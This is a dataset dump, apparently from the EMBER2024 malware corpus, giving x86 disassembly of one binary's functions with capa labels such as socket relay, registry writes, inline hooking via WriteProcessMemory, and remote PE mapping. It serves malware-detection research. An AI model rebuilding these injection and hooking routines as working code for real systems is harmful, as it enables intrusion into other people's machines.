joyce8/EMBER2024-capa huggingface dataset:
Function at 0x413193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
jbe 0x413214
push ebx
push esi
mov esi, dword [edi + 0x34]
mov edx, edi
call fcn.00412fc4
mov ecx, dword [edi + 0x30]
mov eax, dword [edi + 0x48]
lea edx, [ecx + eax]
movzx eax, byte [edx]
movzx esi, byte [edx + 1]
shl eax, 5
xor eax, esi
movzx esi, byte [edx + 2]
mov ebx, dword [edi + 0x50]
shl eax, 5
xor eax, esi
mov esi, dword [edi + 0x4c]
imul eax, eax, 0x9f5f
shr eax, 5
and eax, 0xffff
shl eax, 2
add esi, eax
mov dword [ebp - 4], esi
mov esi, dword [esi]
mov dword [ebx + ecx*4], esi
mov esi, dword [ebp - 4]
mov dword [esi], ecx
mov esi, dword [edi + 0x54]
mov dword [esi + ecx*4], 0x801
mov esi, dword [edi + 0x58]
inc dword [eax + esi]
movzx eax, word [edx]
mov edx, dword [edi + 0x5c]
mov dword [edx + eax*4], ecx
mov eax, edi
call fcn.00413127
dec dword [ebp + 8]
jne 0x41319f
pop esi
pop ebx
leave
ret 4

Function at 0x4139d3
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
cmp ecx, 0xffffffff
je 0x4139f9
xor edx, edx
mov eax, ecx
mov esi, 0x3e8
div esi
imul edx, edx, 0x3e8
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
inc ecx
neg ecx
sbb ecx, ecx
lea eax, [ebp - 8]
and ecx, eax
push ecx
xor esi, esi
push esi
push esi
lea eax, [ebp - 0x10c]
push eax
push esi
mov dword [ebp - 0x10c], 1
mov dword [ebp - 0x108], ebx
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
je 0x413a30
or eax, 0xffffffff
jmp 0x413a3e
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [sym.imp.WS2_32.dll_recv]
pop esi
leave
ret 8

Function at 0x413a43
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, eax
mov ebx, ecx
cmp dword [ebp + 0xc], 0
jbe 0x413a60
mov ecx, dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.004139d3
jmp 0x413a6d
push 0
push esi
push dword [ebp + 8]
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x413a87
add dword [ebp + 8], eax
sub esi, eax
test esi, esi
jg 0x413a4c
xor eax, eax
test esi, esi
sete al
pop esi
pop ebx
pop ebp
ret 8
xor al, al
jmp 0x413a81

Function at 0x413aba
Capabilities:
Send data
Send data on socket

Disassembly:
push 0
push dword [esp + 0x10]
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, dword [esp + 0xc]
sete al
ret 0xc

Function at 0x413ad8
Capabilities:
Connect socket

Disassembly:
movzx eax, word [edi]
push esi
push 6
push 1
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x413b15
xor eax, eax
cmp word [edi], 2
setne al
dec eax
and eax, 0xfffffff4
add eax, 0x1c
push eax
push edi
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x413b15
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or esi, 0xffffffff
mov eax, esi
pop esi
ret
Function at 0x413b19
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
rol ax, 8
movzx ebx, ax
xor edi, edi
lea eax, [ebp + 8]
push eax
push edi
push edi
push dword [ebp + 8]
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x413b4a
or eax, 0xffffffff
jmp 0x413bcc
push esi
mov esi, dword [ebp + 8]
jmp 0x413b7e
mov eax, dword [esi + 4]
cmp eax, 2
jne 0x413b68
push dword [esi + 0x10]
push dword [esi + 0x18]
call fcn.00410ae3
mov dword [ebp - 4], eax
jmp 0x413b7b
cmp eax, 0x17
jne 0x413b7b
push dword [esi + 0x10]
push dword [esi + 0x18]
call fcn.00410ae3
mov dword [ebp - 8], eax
mov esi, dword [esi + 0x1c]
cmp esi, edi
jne 0x413b50
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
mov eax, dword [ebp - 4]
or esi, 0xffffffff
cmp eax, edi
je 0x413ba2
mov edi, eax
mov word [eax + 2], bx
call fcn.00413ad8
mov esi, eax
mov edi, dword [ebp - 8]
test edi, edi
je 0x413bb9
cmp esi, 0xffffffff
jne 0x413bb9
mov word [edi + 2], bx
call fcn.00413ad8
mov esi, eax
push dword [ebp - 4]
call fcn.00410a90
push dword [ebp - 8]
call fcn.00410a90
mov eax, esi
pop esi
pop edi
pop ebx
leave
ret 4

Function at 0x413c8c
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x510
push esi
push edi
mov edi, dword [sym.imp.WS2_32.dll_select]
xor esi, esi
jmp 0x413d08
mov dword [ebp + 0x70], esi
cmp dword [ebp - 0x9c], esi
jbe 0x413d08
mov eax, dword [ebp + 0x70]
mov eax, dword [ebp + eax*4 - 0x98]
cmp eax, ebx
jne 0x413cc4
mov ecx, dword [ebp + 0x7c]
mov dword [ebp + 0x6c], ecx
jmp 0x413cc7
mov dword [ebp + 0x6c], ebx
push esi
push 0x400
lea ecx, [ebp - 0x49c]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp + 0x68], eax
cmp eax, 1
jl 0x413d37
push esi
push eax
lea eax, [ebp - 0x49c]
push eax
push dword [ebp + 0x6c]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, dword [ebp + 0x68]
jne 0x413d37
inc dword [ebp + 0x70]
mov eax, dword [ebp + 0x70]
cmp eax, dword [ebp - 0x9c]
jb 0x413cae
mov eax, dword [ebp + 0x7c]
push esi
push esi
mov dword [ebp - 0x94], eax
push esi
lea eax, [ebp - 0x9c]
push eax
push esi
mov dword [ebp - 0x9c], 2
mov dword [ebp - 0x98], ebx
call edi
cmp eax, 1
jge 0x413ca3
pop edi
pop esi
add ebp, 0x74
leave
ret 4
Function at 0x413d40
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, eax
mov eax, dword [ebp + 0xc]
lea ecx, [esi + 1]
cmp ecx, 0x40
jae 0x413dd4
test eax, eax
je 0x413d77
xor edx, edx
mov ebx, 0x3e8
div ebx
mov ebx, dword [ebp + 8]
imul edx, edx, 0x3e8
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
push 4
push ebx
lea eax, [ebp - 0x108]
push eax
mov dword [ebp - 0x10c], ecx
call fcn.00410acc
test esi, esi
je 0x413da5
mov eax, esi
shl eax, 2
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push eax
call fcn.00410acc
xor eax, eax
cmp eax, dword [ebp + 0xc]
lea ecx, [ebp - 8]
sbb eax, eax
and eax, ecx
push eax
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jne 0x413ddd
push 0x274c
call dword [sym.imp.WS2_32.dll_WSASetLastError]
or eax, 0xffffffff
pop esi
pop ebx
leave
ret 0xc
cmp eax, 0xffffffff
je 0x413dd4
xor esi, esi
push dword [ebx + esi*4]
lea eax, [ebp - 0x10c]
call fcn.004139ad
test al, al
jne 0x413dfe
inc esi
cmp esi, 1
jb 0x413de4
jmp 0x413dd4
mov eax, dword [ebx + esi*4]
jmp 0x413dd7

Function at 0x413eb0
Capabilities:
Create udp socket

Disassembly:
movzx eax, word [esi]
push edi
push 0x11
push 2
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x413eed
xor eax, eax
cmp word [esi], 2
setne al
dec eax
and eax, 0xfffffff4
add eax, 0x1c
push eax
push esi
push edi
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x413eed
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
or edi, 0xffffffff
mov eax, edi
pop edi
ret

Function at 0x414859
Capabilities:
Get common file path

Disassembly:
push edi
xor edi, edi
call fcn.0041477a
test al, al
je 0x41494a
push esi
mov eax, 0x950
call fcn.00410a60
mov esi, eax
test esi, esi
je 0x414944
push dword [esp + 0xc]
lea eax, [esi + 0x53e]
push eax
xor eax, eax
call fcn.00416325
test al, al
je 0x41493e
lea eax, [esi + 0x746]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
setne al
test al, al
je 0x41493e
mov ecx, accept
mov dword [esi + 0x14], ecx
lea eax, [esi + 0x10]
mov dword [eax], ecx
xor ecx, ecx
inc ecx
push 0xc
mov dword [esi + 0x24], ecx
mov dword [esi + 0x28], ecx
push 0x404928
lea ecx, [esi + 0x132]
push ecx
call fcn.00410acc
push 2
push 0x404914
lea ecx, [esi + 0x232]
push ecx
call fcn.00410acc
push esi
push eax
push 0x414664
push 0x41462c
push 0x4145e0
push fcn.004145b7
push 0x41456f
push 0x414537
push fcn.00414502
push fcn.00414376
push fcn.00414363
lea eax, [esi + 4]
push 0x4146e5
push eax
call dword [0x423478]
add esp, 0x34
mov dword [esi], eax
test eax, eax
je 0x41493e
mov edi, esi
jmp 0x414949
push esi
call fcn.00410a90
call fcn.00414838
pop esi
mov eax, edi
pop edi
ret 4
Function at 0x414b50
Capabilities:
Create thread

Disassembly:
cmp byte [esi], 0x40
jb 0x414b64
push 0x9b
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor al, al
jmp 0x414b92
cmp dword [esp + 8], 0
je 0x414b90
push 0
push 0
push dword [esp + 0x14]
push dword [esp + 0x14]
push dword [esp + 0x14]
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x414b60
movzx ecx, byte [esi]
mov dword [esi + ecx*4 + 4], eax
inc byte [esi]
mov al, 1
ret 0xc

Function at 0x414bb8
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
lea ecx, [ebp - 4]
push ecx
push 1
push 0
push dword [ebp + 8]
mov dword [ebp - 4], eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x414bf1
mov eax, dword [ebp + 0x10]
add eax, eax
push eax
push edi
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
lea esi, [ebp - 4]
call fcn.00414ce0
mov ebx, eax
jmp 0x414bf4
or ebx, 0xffffffff
cmp ebx, 0xffffffff
je 0x414c65
test bl, 1
jne 0x414c65
cmp dword [ebp + 8], 1
je 0x414c0a
cmp dword [ebp + 8], 2
jne 0x414c65
test ebx, ebx
jne 0x414c15
xor eax, eax
mov word [edi], ax
jmp 0x414c61
shr ebx, 1
lea eax, [ebx - 1]
cmp word [edi + eax*2], 0
jne 0x414c24
dec ebx
jmp 0x414c32
inc eax
cmp dword [ebp + 0x10], eax
jbe 0x414c65
xor ecx, ecx
mov word [edi + eax*2], cx
mov ebx, eax
cmp eax, 2
jbe 0x414c61
cmp dword [ebp + 8], 2
jne 0x414c61
push edi
call fcn.00410e4c
mov esi, eax
test esi, esi
je 0x414c58
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x414c5b
or ebx, 0xffffffff
push esi
call fcn.00410a90
mov eax, ebx
jmp 0x414c68
or eax, 0xffffffff
pop esi
pop ebx
leave
ret 0xc

Function at 0x414d13
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push ebx
lea ecx, [ebp - 4]
push ecx
push ebx
push 2
push ebx
push ebx
push ebx
push dword [ebp + 8]
mov eax, reloc.WS2_32.dll_accept
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x414d60
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ebx
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x414d57
mov bl, 1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
leave
ret 0x14
Function at 0x414d67
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
or dword [ebp - 8], 0xffffffff
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp - 4]
push eax
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], ebx
push ebx
push dword [ebp + 8]
push dword [edi]
call esi
test eax, eax
jne 0x414dd9
mov eax, dword [ebp - 4]
cmp eax, ebx
jne 0x414d9e
mov dword [ebp - 8], ebx
jmp 0x414dd9
add eax, 4
call fcn.00410a60
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x414dd9
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp + 0xc]
push ebx
push dword [ebp + 8]
push dword [edi]
call esi
test eax, eax
jne 0x414dd1
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
jmp 0x414dd9
push dword [ebp - 0xc]
call fcn.00410a90
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret 0xc

Function at 0x414e13
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
movzx ecx, cl
push edi
movzx eax, al
push ecx
call fcn.00411e15
mov esi, eax
mov dword [ebp - 0xc], esi
call fcn.00411dc9
mov ebx, 0x404968
test eax, 0x100
je 0x414e4a
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x40497c
jmp 0x414e54
mov dword [ebp - 0x1c], 0x40497c
mov dword [ebp - 0x18], ebx
xor edi, edi
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
cmp esi, edi
jbe 0x414f02
mov eax, dword [ebp + 8]
and eax, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], 2
jne 0x414e99
call fcn.00411dc9
test eax, 0x100
je 0x414e8b
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x40497c
jmp 0x414e95
mov dword [ebp - 0x1c], 0x40497c
mov dword [ebp - 0x18], ebx
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
mov esi, dword [ebp + eax*4 - 0x1c]
xor eax, eax
cmp esi, ebx
setne al
dec eax
and eax, 0xd
add eax, 6
cmp dword [ebp - 0x10], 0
mov dword [ebp - 0x14], eax
je 0x414edb
mov eax, edi
sub eax, dword [ebp - 8]
cmp eax, 1
jbe 0x414edb
call fcn.00411dc9
mov ecx, eax
mov eax, 0x101
and ecx, eax
cmp ecx, eax
jne 0x414edb
push 0x20
pop eax
mov dword [ebp - 8], edi
jmp 0x414eeb
mov eax, dword [ebp - 0x14]
dec eax
push 0
call fcn.00411e15
movsx ax, byte [eax + esi]
mov ecx, dword [ebp + 0xc]
mov word [ecx + edi*2], ax
inc edi
inc dword [ebp - 4]
cmp edi, dword [ebp - 0xc]
jb 0x414e6d
mov esi, dword [ebp - 0xc]
test byte [ebp + 8], 4
je 0x414f21
test esi, esi
je 0x414f21
mov edi, dword [ebp + 0xc]
lea eax, [edi + esi*2 - 2]
cmp word [eax], 0x20
jne 0x414f24
sub eax, 2
dec esi
jne 0x414f13
jmp 0x414f24
mov edi, dword [ebp + 0xc]
xor eax, eax
test byte [ebp + 8], 2
mov word [edi + esi*2], ax
je 0x414f3d
movzx eax, word [edi]
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
mov word [edi], ax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x414f44
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
xor esi, esi
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
mov al, byte [ebp + 0x18]
mov cl, 4
call fcn.00414e13
push dword [ebp + 0xc]
lea eax, [ebp - 0x208]
push dword [ebp + 0x10]
call fcn.00416325
test al, al
je 0x414f9d
cmp dword [ebp + 0x14], 0
je 0x414f8f
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionW]
test eax, eax
je 0x414f9d
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x414faa
inc esi
cmp esi, 0x64
jb 0x414f50
xor al, al
pop esi
leave
ret 0x14
mov al, 1
jmp 0x414fa5

Function at 0x415037
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x2d4
push ebx
push esi
push edi
xor ebx, ebx
lea eax, [ebp - 0x260]
push eax
push ebx
push ebx
push 0x24
push ebx
mov byte [ebp + 0x73], bl
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x4150d5
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
lea eax, [ebp - 0x260]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
jmp 0x41509e
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveBackslashW]
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
test eax, eax
je 0x4150d5
lea eax, [ebp - 0x260]
push eax
call esi
push 0x64
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x260]
push eax
call edi
test eax, eax
je 0x415077
cmp word [ebp - 0x44], 0x7b
jne 0x4150d5
push dword [ebp + 0x7c]
xor eax, eax
mov word [ebp + 8], ax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.ole32.dll_CLSIDFromString]
test eax, eax
jne 0x4150d5
mov byte [ebp + 0x73], 1
jmp 0x4150e0
push 0x10
push ebx
push dword [ebp + 0x7c]
call fcn.00410b43
mov al, byte [ebp + 0x73]
pop edi
pop esi
pop ebx
add ebp, 0x74
leave
ret 4
Function at 0x4152d7
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
mov ebx, eax
mov eax, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 8], esi
call fcn.00415292
cmp eax, 0x1e
jb 0x4153eb
lea eax, [ebp - 4]
push eax
push 0x40
push 0x1e
push dword [ebp + 8]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x4153eb
push 0x23
push 0xffffffffffffff90
lea eax, [ebp - 0x2c]
push eax
call fcn.00410b43
push esi
push 0x1e
lea eax, [ebp - 0x2c]
push eax
push dword [ebp + 8]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x4153d7
push edi
lea edi, [ebp - 0x2c]
push esi
mov eax, edi
push eax
jmp 0x415374
add esi, eax
cmp esi, 0x1e
ja 0x4153d6
mov cl, byte [edi]
cmp cl, 0xe9
je 0x41535a
cmp cl, 0xe8
jne 0x415368
cmp eax, 5
jne 0x415368
mov eax, dword [ebp + 8]
sub eax, dword [ebp + 0xc]
add dword [edi + 1], eax
push 0
cmp esi, 5
jae 0x415380
lea edi, [ebp + esi - 0x2c]
push edi
call fcn.0041d890
cmp eax, 0xffffffff
jne 0x415343
jmp 0x4153d6
mov eax, dword [ebp + 8]
sub eax, dword [ebp + 0xc]
lea edi, [esi + 5]
sub eax, 5
mov dword [ebp + esi - 0x2b], eax
push edi
lea eax, [ebp - 0x2c]
push eax
push dword [ebp + 0xc]
mov byte [ebp + esi - 0x2c], 0xe9
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0xffffffffffffffff
call esi
test eax, eax
je 0x4153d6
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
sub ebx, ecx
sub ebx, 5
mov byte [ebp - 0x2c], 0xe9
mov dword [ebp - 0x2b], ebx
call fcn.0040ffc2
push 0
push 5
lea eax, [ebp - 0x2c]
push eax
push ecx
push 0xffffffffffffffff
call esi
test eax, eax
je 0x4153d6
mov dword [ebp - 8], edi
pop edi
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 0x1e
push dword [ebp + 8]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret 8
Function at 0x4153f4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, eax
mov esi, dword [edi + 0x3c]
add esi, edi
mov ebx, dword [esi + 0x50]
push ebx
push edi
mov dword [ebp - 0x14], ebx
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x415421
xor eax, eax
jmp 0x4154f2
push 0x40
push 0x3000
push ebx
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 8], eax
test eax, eax
je 0x4154ef
push ebx
push edi
call fcn.00410ae3
mov ebx, eax
xor ecx, ecx
cmp ebx, ecx
je 0x4154d8
cmp dword [esi + 0xa4], ecx
jbe 0x4154cc
mov eax, dword [esi + 0xa0]
cmp eax, ecx
jbe 0x4154cc
mov esi, dword [esi + 0x34]
mov edx, dword [ebp - 8]
sub edi, esi
sub edx, esi
mov dword [ebp - 0x10], edi
add eax, ebx
jmp 0x4154b1
mov esi, dword [eax + 4]
cmp esi, 8
jb 0x4154ac
add esi, 0xfffffff8
shr esi, 1
mov dword [ebp - 0xc], ecx
je 0x4154ac
mov ecx, dword [ebp - 0xc]
movzx ecx, word [eax + ecx*2 + 8]
test cx, cx
je 0x4154a4
and ecx, 0xfff
add ecx, dword [eax]
mov edi, edx
sub edi, dword [ebp - 0x10]
add dword [ecx + ebx], edi
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jb 0x415487
add eax, dword [eax + 4]
xor ecx, ecx
cmp dword [eax], ecx
jne 0x415475
push ecx
push dword [ebp - 0x14]
push ebx
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
setne byte [ebp - 1]
push ebx
call fcn.00410a90
cmp byte [ebp - 1], 0
jne 0x4154ef
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
and dword [ebp - 8], 0
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4154f9
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push 0x3c
pop edx
push edx
xor ebx, ebx
push ebx
lea eax, [ebp - 0x3c]
push eax
call fcn.00410b43
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x3c]
push eax
push ebx
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x3c], edx
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
test eax, eax
jne 0x415539
xor al, al
jmp 0x4155e5
push 0x10
push ebx
push esi
call fcn.00410b43
push dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
call fcn.00410eee
mov dword [esi], eax
cmp eax, ebx
je 0x415532
jmp 0x415563
mov eax, dword [ebp - 0x10]
cmp byte [eax], 0x2f
jne 0x415568
dec dword [ebp - 0xc]
inc dword [ebp - 0x10]
cmp dword [ebp - 0xc], ebx
ja 0x415555
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
push edi
lea edi, [eax + ecx + 1]
lea eax, [edi + 1]
call fcn.00410a60
mov dword [esi + 4], eax
cmp eax, ebx
jne 0x41558d
push dword [esi]
call fcn.00410a90
xor al, al
jmp 0x4155e4
push dword [ebp - 0xc]
inc eax
push dword [ebp - 0x10]
push eax
call fcn.00410acc
push dword [ebp - 4]
mov eax, dword [esi + 4]
mov ecx, dword [ebp - 0xc]
push dword [ebp - 8]
lea eax, [eax + ecx + 1]
push eax
call fcn.00410acc
mov eax, dword [esi + 4]
mov byte [eax], 0x2f
mov byte [eax + edi], bl
mov eax, dword [ebp - 0xc]
inc eax
mov dword [esi + 8], eax
mov ax, word [ebp - 0x24]
mov word [esi + 0xc], ax
mov eax, dword [ebp - 0x30]
sub eax, 3
je 0x4155de
dec eax
je 0x4155d8
mov byte [esi + 0xe], bl
jmp 0x4155e2
mov byte [esi + 0xe], 2
jmp 0x4155e2
mov byte [esi + 0xe], 1
mov al, 1
pop edi
pop ebx
leave
ret 4

Function at 0x415c4b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor ebx, ebx
push ebx
push 0x80
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x415ca8
cmp dword [ebp + 0xc], ebx
je 0x415c92
cmp dword [ebp + 0x10], ebx
je 0x415c92
push ebx
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x415c94
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp bl, 1
je 0x415ca8
push dword [ebp + 8]
call fcn.00415df6
pop esi
mov al, bl
pop ebx
pop ebp
ret 0xc
Function at 0x415cb0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
and al, 2
movzx eax, al
xor edi, edi
push edi
push edi
neg eax
push 3
sbb eax, eax
push edi
and eax, 6
or eax, 1
push eax
push accept
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 8], eax
cmp eax, 0xffffffff
je 0x415d51
lea ecx, [ebp - 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x415d48
cmp dword [ebp - 4], edi
jne 0x415d48
mov eax, dword [ebp - 8]
mov dword [esi + 4], eax
cmp eax, edi
jne 0x415d07
mov dword [esi], edi
mov al, 1
jmp 0x415d53
push 4
push 0x3000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi], eax
cmp eax, edi
je 0x415d48
push edi
lea ecx, [ebp + 8]
push ecx
push dword [esi + 4]
push eax
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x415d3a
mov eax, dword [ebp + 8]
cmp eax, dword [esi + 4]
je 0x415d03
push 0x8000
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
leave
ret 4

Function at 0x415df6
Capabilities:
Delete file
Set file attributes

Disassembly:
push 0x80
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
setne al
ret 4

Function at 0x415e17
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push esi
push edi
lea eax, [ebp - 0x208]
push eax
push 0xf6
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
dec eax
cmp eax, 0xf5
ja 0x415e94
xor esi, esi
push dword [ebp + 8]
call fcn.00411dc9
push eax
push 0x404a04
push 0x404a0c
mov edx, 0x104
lea edi, [ebp - 0x410]
call fcn.00411783
add esp, 0x10
cmp eax, 0xffffffff
je 0x415e94
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 0xc]
mov eax, edi
call fcn.00416325
test al, al
je 0x415e8e
push 0
push 0
push dword [ebp + 0xc]
call fcn.00415c4b
test al, al
jne 0x415e9c
inc esi
cmp esi, 0x64
jb 0x415e3e
xor al, al
pop edi
pop esi
leave
ret 8
mov al, 1
jmp 0x415e96

Function at 0x415ea0
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push esi
push edi
lea eax, [ebp - 0x208]
push eax
push 0xf6
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
dec eax
cmp eax, 0xf5
ja 0x415f19
xor esi, esi
call fcn.00411dc9
push eax
push 0x404a04
push 0x404a20
mov edx, 0x104
lea edi, [ebp - 0x410]
call fcn.00411783
add esp, 0xc
cmp eax, 0xffffffff
je 0x415f19
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
mov eax, edi
call fcn.00416325
test al, al
je 0x415f13
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x415f21
inc esi
cmp esi, 0x64
jb 0x415ec7
xor al, al
pop edi
pop esi
leave
ret 4
mov al, 1
jmp 0x415f1b